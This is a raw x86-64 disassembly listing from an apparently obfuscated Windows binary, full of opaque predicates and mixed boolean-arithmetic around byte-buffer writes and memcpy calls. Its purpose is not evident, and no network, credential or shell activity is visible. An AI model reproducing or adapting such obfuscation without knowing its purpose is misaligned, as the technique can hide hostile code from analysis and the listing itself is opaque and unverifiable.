mov eax, dword [0x140140e84]
xor edx, edx
div dword [0x140140e88]
mov edx, eax
xor edx, 0xffffffff
and edx, 0x90a6a8f0
mov ecx, eax
and ecx, 0x6f59570f
imul ecx, edx
mov edx, eax
and edx, 0x90a6a8f0
or eax, 0x90a6a8f0
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x74155a5f
and eax, 0x8beaa5a0
sub eax, ecx
add eax, 0xb604e2e2
cmp eax, 0x5c5cc2bc
je 0x1400f21eb
mov eax, dword [0x140140e8c]
xor edx, edx
div dword [0x140140e90]
mov ecx, 0xb7651155
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x72e98293
or ecx, 0x72e98293
add eax, ecx
imul eax, eax, 0xb972637b
mov dword [rbp + 0x920], eax
lea rcx, [rbp + 0x2fc0]
lea rdx, [0x140134870]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x928]
mov eax, dword [rbp + 0x920]
cmp rcx, qword [rbp + 0x3030]
setne cl
mov byte [rbp + 0x927], cl
cmp eax, 0xfd1104c2
je 0x1400f21eb
mov al, byte [rbp + 0x927]
test al, 1
jne 0x1400e5a63
mov eax, dword [0x140141474]
mov ecx, dword [0x140141478]
add eax, 0xc2202d27
sub eax, ecx
sub eax, 0xc2202d27
xor ecx, ecx
sub ecx, eax
add ecx, 0x4ec2c0af
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0xbef15ee
or eax, 0xbef15ee
xor eax, 0xffffffff
or ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov eax, ecx
and eax, 0x38ed262
and edx, 0xfc712d9d
or eax, edx
xor eax, 0x24bd3bad
or ecx, 0xd8cc1630
xor ecx, 0xffffffff
or eax, ecx
cmp eax, 0xd25ae094
je 0x1400f2c66
mov ecx, dword [0x14014147c]
mov eax, dword [0x140141480]
xor ecx, 0xffffffff
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
sub ecx, 0xc939a767
sub ecx, 0x81a882d7
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xb9046ce5
and ecx, 0x46fb931a
or eax, ecx
xor eax, 0xc9a51a5d
mov rcx, qword [rbp + 0x1360]
mov dl, byte [rbp + 0x137f]
mov byte [rbp + 0x55e], dl
mov qword [rbp + 0x4530], rcx
cmp eax, 0xaaa9512e
jae 0x1400e9eea
mov cl, byte [rbp + 0x55e]
mov eax, dword [0x14014148c]
imul eax, dword [0x140141490]
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0x1d673b2d
mov edx, eax
and edx, 0xe298c4d2
imul edx, r8d
mov r8d, eax
and r8d, 0x1d673b2d
or eax, 0x1d673b2d
imul eax, r8d
add eax, edx
mov r8d, 0x69da920a
xor edx, edx
div r8d
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0xc61f1ea9
mov edx, eax
and edx, 0x39e0e156
imul edx, r8d
mov r8d, eax
and r8d, 0xc61f1ea9
or eax, 0xc61f1ea9
imul eax, r8d
add eax, edx
mov byte [rbp + 0x452f], cl
movzx ecx, byte [rbp + 0x452f]
mov qword [rbp + 0x4520], rcx
mov rcx, qword [rbp + 0x4530]
movabs r8, 0x7857a826b919b00d
mov rdx, rcx
and rdx, r8
shl rdx, 1
movabs r8, 0x7857a826b919b00d
xor rcx, r8
add rcx, rdx
mov qword [rbp + 0x4518], rcx
mov rdx, qword [rbp + 0x4520]
mov r8, qword [rbp + 0x4518]
mov rcx, rdx
and rcx, r8
or rdx, r8
add rcx, rdx
mov qword [rbp + 0x540], rcx
mov rcx, qword [rbp + 0x4520]
mov r8, qword [rbp + 0x4518]
mov rdx, rcx
add rdx, 1
xor rcx, 0xffffffffffffffff
or rcx, r8
add rcx, rdx
mov qword [rbp + 0x548], rcx
mov rcx, qword [rbp + 0x4518]
and rcx, qword [rbp + 0x4520]
mov qword [rbp + 0x550], rcx
cmp eax, 0xb138c4dc
je 0x1400f2c79
mov eax, dword [str.GXBj]
and eax, dword [0x140141498]
mov ecx, 0xbf45fc2c
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x24448f3b
xor ecx, 0xffffffff
or eax, 0x24448f3b
and eax, ecx
imul eax, eax, 0x8fdffc85
cmp eax, 0xecc268ec
jae 0x1400f2cb0
mov rax, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov r8, qword [rbp + 0x550]
xor ecx, ecx
sub rcx, r8
sub rdx, rcx
mov rcx, rax
xor rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
shl rax, 1
sub rax, rcx
mov qword [rbp + 0x4510], rax
mov rax, qword [rbp + 0x4510]
movabs rcx, 0x4a65990f0fb3d05b
sub rax, rcx
mov dl, al
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
mov byte [rax + rcx], dl
xor eax, eax
mov ecx, eax
sub rcx, qword [rbp + 0x1368]
add rcx, 0xffffffffffffffff
xor eax, eax
sub rax, rcx
mov qword [rbp + 0x538], rax
mov rcx, qword [rbp + 0x538]
mov eax, dword [0x1401414ac]
xor edx, edx
sub edx, dword [0x1401414b0]
sub eax, edx
xor eax, 0xffffffff
or eax, 0xb39fb995
xor eax, 0xffffffff
add eax, 0xa67cf56b
mov r8d, eax
and r8d, 0x69d218d8
mov edx, eax
or edx, 0x69d218d8
xor edx, 0xffffffff
imul edx, r8d
mov r8d, eax
and r8d, 0x962de727
or eax, 0x962de727
imul eax, r8d
add eax, edx
mov qword [rbp + 0x1368], rcx
cmp eax, 0xc1e7d44d
jae 0x1400f2d2b
mov eax, dword [0x1401414b4]
xor eax, dword [0x1401414b8]
xor eax, 0x55532866
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbb477ce1
mov ecx, eax
and ecx, 0x44b8831e
imul ecx, edx
mov edx, eax
and edx, 0xbb477ce1
or eax, 0xbb477ce1
imul eax, edx
add eax, ecx
sub eax, 0x66ac8a1f
cmp eax, 0x53ed2795
jb 0x1400f2d3e
mov eax, dword [0x1401414c4]
or eax, dword [0x1401414c8]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xefa84eaf
and eax, 0x1057b150
sub eax, ecx
mov ecx, eax
and ecx, 0xc69ee48a
shl ecx, 1
add eax, 0xc69ee48a
sub eax, ecx
add eax, 0xd74dc7f1
cmp eax, 0x78403da6
je 0x1400f2d43
mov eax, dword [0x1401414cc]
xor edx, edx
div dword [0x1401414d0]
mov ecx, 0x40824e94
xor edx, edx
div ecx
and eax, 0xaa0b0b85
add eax, 0x3c7a19b
cmp eax, 0x4105fc8b
jae 0x1400f2d43
mov eax, dword [0x1401414dc]
xor edx, edx
div dword [0x1401414e0]
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
or eax, 0xc12511c7
xor ecx, 0xffffffff
and ecx, 0xc12511c7
xor ecx, 0xffffffff
and eax, ecx
add eax, 0x21861e73
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x444ac1d8
add eax, ecx
mov rcx, qword [rbp + 0x1360]
mov qword [rbp + 0x530], rcx
cmp eax, 0xe076d618
je 0x1400f2d48
mov rax, qword [rbp + 0x530]
add rax, 0xffffffffffffffff
mov qword [rbp + 0x1360], rax
mov eax, dword [0x1401414e4]
mov edx, dword [0x1401414e8]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor eax, 0x1f9bf692
mov edx, eax
and edx, 0xbb7bd570
or eax, 0xbb7bd570
add edx, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, ecx
and eax, 0x8e233a14
and edx, 0x71dcc5eb
or eax, edx
xor eax, 0x9296e5f4
or ecx, 0xe34a201f
xor ecx, 0xffffffff
or eax, ecx
cmp eax, 0xffc00815
jae 0x1400f2d4d
mov eax, dword [0x1401414ec]
add eax, dword [0x1401414f0]
sub eax, 0xe04dd4a2
mov ecx, 0xebbecab8
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x52242606
mov edx, eax
xor edx, 0xaddbd9f9
add eax, edx
sub eax, ecx
cmp eax, 0x35c32c38
jb 0x1400ea301
jmp 0x1400eaa1e
mov eax, dword [0x140141524]
xor edx, edx
div dword [0x140141528]
mov ecx, 0xf32f9330
xor edx, edx
div ecx
sub eax, 0xeed20f3b
and eax, 0x34c67519
cmp eax, 0x20e15c1b
jae 0x1400f2e1f
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x4580], rcx
mov byte [rbp + 0x457f], al
movzx eax, byte [rbp + 0x457f]
mov qword [rbp + 0x4570], rax
xor eax, eax
mov ecx, eax
sub rcx, qword [rbp + 0x4580]
movabs rax, 0x4236cbe2777fe91d
add rcx, rax
xor eax, eax
sub rax, rcx
mov qword [rbp + 0x4568], rax
mov rax, qword [rbp + 0x4570]
mov qword [rbp + 0x528], rax
mov eax, dword [0x140141534]
add eax, dword [0x140141538]
sub eax, 0x75908e16
add eax, 0x2b70ff4e
add eax, 0x75908e16
mov ecx, eax
and ecx, 0x27f52a7f
xor ecx, 0xffffffff
add eax, 0x27f52a7f
add eax, 1
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd8be2f3
mov ecx, eax
and ecx, 0xf2741d0c
imul ecx, edx
mov edx, eax
and edx, 0xd8be2f3
or eax, 0xd8be2f3
imul eax, edx
add eax, ecx
cmp eax, 0xeb200b14
je 0x1400f2e64
mov rcx, qword [rbp + 0x528]
mov edx, dword [0x14014153c]
mov r8d, dword [0x140141540]
mov eax, edx
and eax, r8d
xor eax, 0xffffffff
and edx, r8d
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
add eax, 0xfcd1d2ee
mov r8d, 0x4726bc24
xor edx, edx
div r8d
mov r8d, eax
xor r8d, 0xffffffff
and r8d, 0xfc15632
mov edx, eax
and edx, 0xf03ea9cd
imul edx, r8d
mov r8d, eax
and r8d, 0xfc15632
or eax, 0xfc15632
imul eax, r8d
add eax, edx
mov r8, qword [rbp + 0x4568]
mov rdx, rcx
and rdx, r8
shl rdx, 1
xor rcx, r8
add rcx, rdx
mov rdx, qword [rbp + 0x4570]
and rdx, qword [rbp + 0x4568]
mov r8, qword [rbp + 0x4568]
and r8, qword [rbp + 0x4570]
add rdx, r8
xor rdx, 0xffffffffffffffff
add rcx, rdx
add rcx, 1
mov qword [rbp + 0x4560], rcx
mov rcx, qword [rbp + 0x4560]
movabs rdx, 0x30806ccebb80a035
sub rcx, rdx
mov r8b, cl
mov rcx, qword [rbp + 0x1380]
mov rdx, qword [rbp + 0x1360]
mov byte [rcx + rdx], r8b
mov cl, byte [rbp + 0x137e]
mov byte [rbp + 0x527], cl
cmp eax, 0x876fc89d
jae 0x1400ea61c
mov cl, byte [rbp + 0x527]
mov edx, dword [0x14014154c]
add edx, dword [0x140141550]
or edx, 0xa43e6be2
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and eax, 0x9da16056
xor eax, 0xffffffff
mov r8d, eax
and r8d, 0x3cb4ef5b
mov edx, eax
or edx, 0x3cb4ef5b
xor edx, 0xffffffff
imul edx, r8d
mov r8d, eax
and r8d, 0xc34b10a4
or eax, 0xc34b10a4
imul eax, r8d
add eax, edx
movzx r9d, cl
mov rcx, qword [rbp + 0x1380]
mov rdx, qword [rbp + 0x1360]
movzx r8d, byte [rcx + rdx]
add r8d, r9d
mov byte [rcx + rdx], r8b
cmp eax, 0x3039ffe7
jb 0x1400f2efd
jmp 0x1400ea78f
jmp 0x1400ea794
mov eax, dword [0x14014155c]
mov r8d, dword [0x140141560]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
or eax, 0x7ae14ac5
mov ecx, 0x8060b0e4
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x4d250287
xor eax, eax
sub eax, ecx
mov rcx, qword [rbp + 0x1368]
mov qword [rbp + 0x510], rcx
mov rcx, qword [rbp + 0x1370]
mov qword [rbp + 0x518], rcx
cmp eax, 0xf8befcdd
je 0x1400ea794
mov ecx, dword [0x140141564]
mov edx, dword [0x140141568]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
sub eax, 0x30101237
and eax, 0x5806cd7d
imul eax, eax, 0x9560784e
cmp eax, 0xd43d70bf
ja 0x1400f2f24
mov r8, qword [rbp + 0x510]
mov rdx, qword [rbp + 0x518]
mov ecx, dword [0x14014156c]
sub ecx, dword [0x140141570]
sub ecx, 0xe68c506f
and ecx, 0xd491fb21
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xdbe71416
and ecx, 0x2418ebe9
or eax, ecx
xor eax, 0x9b4fe67c
mov rcx, rdx
and rcx, r8
or rdx, r8
add rcx, rdx
mov qword [rbp + 0x508], rcx
cmp eax, 0xf850a04b
ja 0x1400ea839
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x1370], rax
mov eax, dword [0x140141574]
mov edx, dword [0x140141578]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, edx
add eax, ecx
mov ecx, 0x209da395
xor edx, edx
div ecx
or eax, 0x88618155
and eax, 0x81442c68
cmp eax, 0x2cb3074
jb 0x1400f2f29
mov eax, dword [0x14014157c]
xor eax, dword [0x140141580]
add eax, 0xcaf09da3
sub eax, 0x9784085c
add eax, 0xae1278b
cmp eax, 0xa37eae36
jbe 0x1400ea8d8
mov eax, dword [0x140141584]
sub eax, dword [0x140141588]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x2479d843
and eax, 0xdb8627bc
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5dadc225
mov ecx, eax
and ecx, 0xa2523dda
imul ecx, edx
mov edx, eax
and edx, 0x5dadc225
or eax, 0x5dadc225
imul eax, edx
add eax, ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x605823a6
add eax, ecx
cmp eax, 0x42039b9a
ja 0x1400f2f2e
mov rax, qword [rbp + 0x1360]
add rax, 0xffffffffffffffff
mov qword [rbp + 0x1360], rax
mov eax, dword [0x140141594]
and eax, dword [str._tts]
mov ecx, eax
and ecx, 0x6adc1b3c
xor ecx, 0xffffffff
add eax, 0x6adc1b3c
add eax, 1
add eax, ecx
mov ecx, eax
xor ecx, 0x77d90c00
xor ecx, 0xffffffff
or eax, 0x77d90c00
and eax, ecx
add eax, 0x752e2fcb
cmp eax, 0x2a8dc79
je 0x1400f2f45
mov eax, dword [0x14014159c]
sub eax, dword [0x1401415a0]
mov ecx, 0x904d5ed0
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x35c35155
xor eax, 0xffffffff
or ecx, 0x35c35155
and ecx, eax
mov eax, ecx
and eax, 0x6f59f278
or ecx, 0x6f59f278
xor eax, 0xffffffff
and eax, ecx
movzx ecx, byte [rbp + 0x137e]
mov r8d, ecx
mov rcx, qword [rbp + 0x1360]
xor edx, edx
sub rdx, r8
add rcx, rdx
mov qword [rbp + 0x1360], rcx
cmp eax, 0x33245fe0
jbe 0x1400f2f45
jmp 0x1400eaa1e
mov ecx, dword [0x1401415a4]
mov r8d, dword [0x1401415a8]
mov edx, r8d
xor edx, 0xffffffff
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, r8d
add ecx, edx
sub ecx, eax
xor ecx, 0x3e70faf9
mov eax, ecx
and eax, 0xcbdd5c2
xor eax, 0xffffffff
add ecx, 0xcbdd5c2
add ecx, 1
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x4334bb07
and ecx, 0xbccb44f8
or eax, ecx
cmp eax, 0x6934bd2d
jbe 0x1400f2f6c
jmp 0x1400f0764
mov eax, dword [0x1401415dc]
mov r8d, dword [0x1401415e0]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, r8d
and edx, ecx
mov r9d, r8d
xor r9d, 0xffffffff
mov ecx, eax
and ecx, r9d
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
mov ecx, 0xee111b5b
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x1736ea05
xor ecx, 0xffffffff
add eax, 0x1736ea05
add eax, 1
add eax, ecx
add eax, 0x8590b59d
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x45d0], rdx
mov byte [rbp + 0x45cf], cl
movzx ecx, byte [rbp + 0x45cf]
mov qword [rbp + 0x45c0], rcx
movabs rcx, 0x33ac01457e67db9
add rcx, qword [rbp + 0x45d0]
mov qword [rbp + 0x45b8], rcx
mov rcx, qword [rbp + 0x45c0]
mov qword [rbp + 0x4e8], rcx
mov rcx, qword [rbp + 0x45b8]
mov qword [rbp + 0x4f0], rcx
cmp eax, 0xa55d48c0
ja 0x1400f3042
mov eax, dword [0x1401415e4]
mov edx, dword [0x1401415e8]
mov r8d, eax
xor r8d, edx
xor r8d, 0xffffffff
mov ecx, edx
and ecx, r8d
shl ecx, 1
sub ecx, edx
sub eax, ecx
xor eax, 0x74fc9bb5
sub eax, 0xfe1ddaf7
sub eax, 0xe14c7e22
add eax, 0xfe1ddaf7
and eax, 0x689207b1
cmp eax, 0x48d09d09
ja 0x1400f3093
mov rdx, qword [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4e8]
mov eax, dword [0x1401415ec]
and eax, dword [0x1401415f0]
mov r8d, eax
xor r8d, 0x29d66154
and eax, 0xd6299eab
shl eax, 1
sub eax, r8d
mov r8d, eax
xor r8d, 0x9701b793
and eax, 0x68fe486c
shl eax, 1
sub eax, r8d
sub eax, 0xd836cc70
sub eax, 0xd9cf4c3a
add eax, 0xd836cc70
add rcx, rdx
mov rdx, qword [rbp + 0x45c0]
mov r9, qword [rbp + 0x45b8]
mov r8, rdx
add r8, 1
xor rdx, 0xffffffffffffffff
or rdx, r9
add rdx, r8
mov r8, qword [rbp + 0x45b8]
mov r9, qword [rbp + 0x45c0]
xor r8, 0xffffffffffffffff
xor r9, 0xffffffffffffffff
or r8, r9
xor r8, 0xffffffffffffffff
add rdx, r8
sub rcx, rdx
mov qword [rbp + 0x45b0], rcx
mov rcx, qword [rbp + 0x45b0]
movabs rdx, 0x169b408e674d700f
sub rcx, rdx
mov r8b, cl
mov rcx, qword [rbp + 0x1380]
mov rdx, qword [rbp + 0x1360]
mov byte [rcx + rdx], r8b
mov rcx, qword [rbp + 0x1368]
sub rcx, 0xffffffffffffffff
mov qword [rbp + 0x1368], rcx
mov rcx, qword [rbp + 0x1380]
mov qword [rbp + 0x4e0], rcx
cmp eax, 0x9d75be82
jae 0x1400ead2c
mov rcx, qword [rbp + 0x4e0]
mov eax, dword [0x1401415fc]
xor eax, dword [0x140141600]
imul eax, eax, 0x932c783a
imul eax, eax, 0xb08c8fdf
add eax, 0x4b5f4ddc
mov rdx, qword [rbp + 0x1360]
movzx ecx, byte [rcx + rdx]
mov edx, ecx
mov rcx, qword [rbp + 0x1360]
sub rcx, rdx
mov qword [rbp + 0x1360], rcx
mov rdx, qword [rbp + 0x1368]
mov rcx, qword [rbp + 0x1360]
xor rdx, 0xffffffffffffffff
add rcx, rdx
add rcx, 1
mov qword [rbp + 0x1360], rcx
cmp eax, 0x9a75fee
jb 0x1400eae1d
jmp 0x1400eae8f
mov ecx, dword [0x140141604]
xor ecx, dword [0x140141608]
xor eax, eax
sub eax, ecx
add eax, 0xb4d51e81
xor ecx, ecx
sub ecx, eax
and ecx, 0xb806d5de
mov eax, ecx
and eax, 0x5641cc86
xor ecx, 0x5641cc86
or eax, ecx
cmp eax, 0x4edea367
jbe 0x1400f3121
mov ecx, dword [0x14014160c]
xor ecx, dword [0x140141610]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x801a0f69
and ecx, 0x7fe5f096
sub ecx, eax
or ecx, 0x8b51d31a
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x159e986d
xor eax, 0xffffffff
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x45f8], rdx
mov byte [rbp + 0x45f7], cl
movzx ecx, byte [rbp + 0x45f7]
mov qword [rbp + 0x45e8], rcx
mov rcx, qword [rbp + 0x45f8]
mov qword [rbp + 0x4d8], rcx
cmp eax, 0x7ab17161
jb 0x1400f3121
mov rcx, qword [rbp + 0x4d8]
mov eax, dword [0x14014161c]
xor edx, edx
div dword [0x140141620]
mov edx, eax
or edx, 0x6fa2fdef
mov eax, edx
xor eax, 0xd3506d00
and eax, edx
mov r8d, eax
and r8d, 0xb860476a
mov edx, eax
or edx, 0xb860476a
xor edx, 0xffffffff
imul edx, r8d
mov r8d, eax
and r8d, 0x479fb895
or eax, 0x479fb895
imul eax, r8d
add eax, edx
movabs rdx, 0xa5f3860fbf99b124
add rcx, rdx
mov qword [rbp + 0x45e0], rcx
mov rcx, qword [rbp + 0x45e8]
add rcx, qword [rbp + 0x45e0]
mov r8, qword [rbp + 0x45e8]
and r8, qword [rbp + 0x45e0]
mov rdx, qword [rbp + 0x45e0]
and rdx, qword [rbp + 0x45e8]
add r8, rdx
mov rdx, rcx
xor rdx, 0xffffffffffffffff
and rdx, r8
xor r8, 0xffffffffffffffff
and rcx, r8
sub rcx, rdx
mov qword [rbp + 0x45d8], rcx
mov rcx, qword [rbp + 0x45d8]
movabs rdx, 0x89a8aa6e3d33d7fc
sub rcx, rdx
mov r8b, cl
mov rcx, qword [rbp + 0x1380]
mov rdx, qword [rbp + 0x1360]
mov byte [rcx + rdx], r8b
mov rcx, qword [rbp + 0x1370]
mov rdx, rcx
and rdx, 1
shl rdx, 1
xor rcx, 1
add rcx, rdx
mov qword [rbp + 0x1370], rcx
mov rcx, qword [rbp + 0x1360]
sub rcx, 1
mov qword [rbp + 0x1360], rcx
cmp eax, 0x61a7d9f6
ja 0x1400eaf3f
mov rcx, qword [rbp + 0x1370]
mov rax, qword [rbp + 0x1360]
sub rax, rcx
mov qword [rbp + 0x1360], rax
mov rax, qword [rbp + 0x1380]
mov qword [rbp + 0x4d0], rax
mov rax, qword [rbp + 0x4d0]
mov rcx, qword [rbp + 0x1360]
movzx eax, byte [rax + rcx]
add rax, qword [rbp + 0x1360]
mov qword [rbp + 0x1360], rax
mov rax, qword [rbp + 0x1368]
add rax, qword [rbp + 0x1360]
mov qword [rbp + 0x1360], rax
mov ecx, dword [0x140141634]
mov r8d, dword [0x140141638]
mov edx, r8d
xor edx, 0xffffffff
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, r8d
add ecx, edx
sub ecx, eax
xor ecx, 0xf28a62d7
add ecx, 0xfc17760c
mov eax, ecx
and eax, 0x244338a5
xor eax, 0xffffffff
and ecx, 0x244338a5
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
cmp eax, 0xb48bf328
ja 0x1400f314e
mov eax, dword [0x14014163c]
sub eax, dword [0x140141640]
add eax, 0x631bca58
sub eax, 0xa0923a16
and eax, 0xd17fd268
cmp eax, 0x2641f23
jbe 0x1400eb0fe
jmp 0x1400f0764
jmp 0x1400eb12e
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x140141644]
mov r8d, dword [str.sHYl_]
mov r9d, r8d
xor r9d, 0xffffffff
mov edx, eax
and edx, r9d
mov ecx, eax
or ecx, r9d
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, r8d
or eax, r8d
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
and eax, 0x7277fbb0
xor eax, 0xffffffff
imul eax, eax, 0x56f27527
and eax, 0x6f67f4af
cmp eax, 0x4013b84e
jbe 0x1400f3153
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x140141654]
imul eax, dword [0x140141658]
imul eax, eax, 0x4cfa3ef
sub eax, 0x2beb459a
xor ecx, ecx
sub ecx, eax
add ecx, 0x54e275e9
xor eax, eax
sub eax, ecx
cmp eax, 0x63b6940b
je 0x1400f3158
lea rcx, [rbp + 0x4600]
lea rdx, [0x140135b20]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x4c8]
add rcx, qword [rbp + 0x4610]
cmp rax, rcx
jne 0x1400eb2d8
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x46e8], rcx
mov byte [rbp + 0x46e7], al
movzx eax, byte [rbp + 0x46e7]
mov qword [rbp + 0x46d8], rax
movabs rax, 0xeb6512068f0017fa
add rax, qword [rbp + 0x46e8]
mov qword [rbp + 0x46d0], rax
mov rax, qword [rbp + 0x46d8]
mov rcx, qword [rbp + 0x46d0]
xor rcx, 0xffffffffffffffff
sub rcx, 0xffffffffffffffff
sub rax, rcx
mov rcx, qword [rbp + 0x46d8]
mov rdx, qword [rbp + 0x46d0]
and rcx, rdx
mov rdx, qword [rbp + 0x46d0]
and rdx, qword [rbp + 0x46d8]
add rcx, rdx
movabs rdx, 0x3e871b6a52e977fa
add rax, rdx
sub rax, rcx
movabs rcx, 0x3e871b6a52e977fa
sub rax, rcx
mov qword [rbp + 0x46c8], rax
mov rax, qword [rbp + 0x46c8]
movabs rdx, 0x6fc37e2de900a7d6
mov rcx, rax
xor rcx, rdx
movabs rdx, 0x903c81d216ff5829
and rax, rdx
shl rax, 1
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e9e83
mov rax, qword [rbp + 0x1370]
mov qword [rbp + 0x4b8], rax
mov ecx, dword [0x14014166c]
mov edx, dword [0x140141670]
mov eax, ecx
xor eax, edx
xor eax, 0xffffffff
or ecx, edx
and ecx, eax
add ecx, 0x8939785f
sub ecx, 0xf3ee8dc0
sub ecx, 0x8939785f
sub ecx, 0xa1e3f514
add ecx, 0xf723552c
add ecx, 0xa1e3f514
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf77f7379
and ecx, 0x8808c86
or eax, ecx
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x1368]
mov qword [rbp + 0x4a0], rax
lea rcx, [rbp + 0x46f0]
lea rdx, [0x140135bf0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rbp + 0x4ac]
mov rcx, qword [rbp + 0x4710]
mov qword [rbp + 0x4b0], rcx
cmp eax, 0x22085165
jb 0x1400f3176
mov r10d, dword [0x140141674]
mov r9d, dword [0x140141678]
mov ecx, r10d
xor ecx, 0xffffffff
mov edx, r9d
xor edx, 0xffffffff
mov eax, ecx
and eax, 0xbc9e5b66
and r10d, 0x4361a499
mov r8d, edx
and r8d, 0xbc9e5b66
and r9d, 0x4361a499
or eax, r10d
or r8d, r9d
xor eax, r8d
or ecx, edx
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x83bb3070
sub eax, 0xafce1dee
imul eax, eax, 0x56135aa8
cmp eax, 0x3e4d3650
jb 0x1400f3194
mov rcx, qword [rbp + 0x4b8]
mov rdx, qword [rbp + 0x4a0]
mov r9, qword [rbp + 0x4b0]
mov eax, dword [0x14014167c]
xor eax, dword [0x140141680]
and eax, 0xa5b19b5a
sub eax, 0xce3cf70a
sub eax, 0x63ca081d
xor r8d, r8d
sub r8, r9
sub rdx, r8
cmp rcx, rdx
sete cl
mov byte [rbp + 0x49f], cl
cmp eax, 0x177864d1
jbe 0x1400f3194
mov al, byte [rbp + 0x49f]
test al, 1
jne 0x1400eb446
jmp 0x1400eb6ca
mov eax, dword [0x14014168c]
xor edx, edx
div dword [0x140141690]
mov ecx, 0xc318207b
xor edx, edx
div ecx
and eax, 0x7a22a0a5
mov ecx, eax
and ecx, 0x6130765b
shl ecx, 1
xor eax, 0x6130765b
add eax, ecx
mov rdx, qword [rbp + 0x1360]
mov cl, byte [rbp + 0x137f]
mov qword [rbp + 0x47d8], rdx
mov byte [rbp + 0x47d7], cl
movzx ecx, byte [rbp + 0x47d7]
mov qword [rbp + 0x47c8], rcx
movabs rcx, 0x30d69dfd5e667ed0
add rcx, qword [rbp + 0x47d8]
mov qword [rbp + 0x47c0], rcx
mov rcx, qword [rbp + 0x47c8]
mov rdx, qword [rbp + 0x47c0]
movabs r8, 0x9b90a40370aa8606
sub rcx, r8
add rcx, rdx
movabs rdx, 0x9b90a40370aa8606
add rcx, rdx
mov qword [rbp + 0x488], rcx
mov rcx, qword [rbp + 0x47c8]
mov qword [rbp + 0x490], rcx
cmp eax, 0xabd54536
ja 0x1400eb446
mov eax, dword [0x140141694]
mov edx, dword [0x140141698]
mov ecx, eax
xor ecx, 0xffffffff
mov r8d, edx
xor r8d, 0xffffffff
or ecx, r8d
and eax, edx
xor ecx, 0xffffffff
or ecx, eax
mov eax, ecx
xor eax, 0xed6210a1
xor eax, 0xffffffff
or ecx, 0xed6210a1
and ecx, eax
mov eax, ecx
xor eax, 0x1508575f
and eax, ecx
mov ecx, eax
xor ecx, 0x7967d19a
and eax, 0x86982e65
shl eax, 1
sub eax, ecx
cmp eax, 0xa9052485
jbe 0x1400f3199
mov eax, dword [0x14014169c]
or eax, dword [0x1401416a0]
sub eax, 0x2f09127b
mov ecx, 0xed240240
xor edx, edx
div ecx
mov rdx, qword [rbp + 0x490]
mov ecx, eax
mov eax, ecx
xor eax, 0xd074a1b7
and eax, ecx
mov r8, qword [rbp + 0x47c0]
xor r8, 0xffffffffffffffff
mov rcx, rdx
xor rcx, r8
and rcx, rdx
mov r8, qword [rbp + 0x47c0]
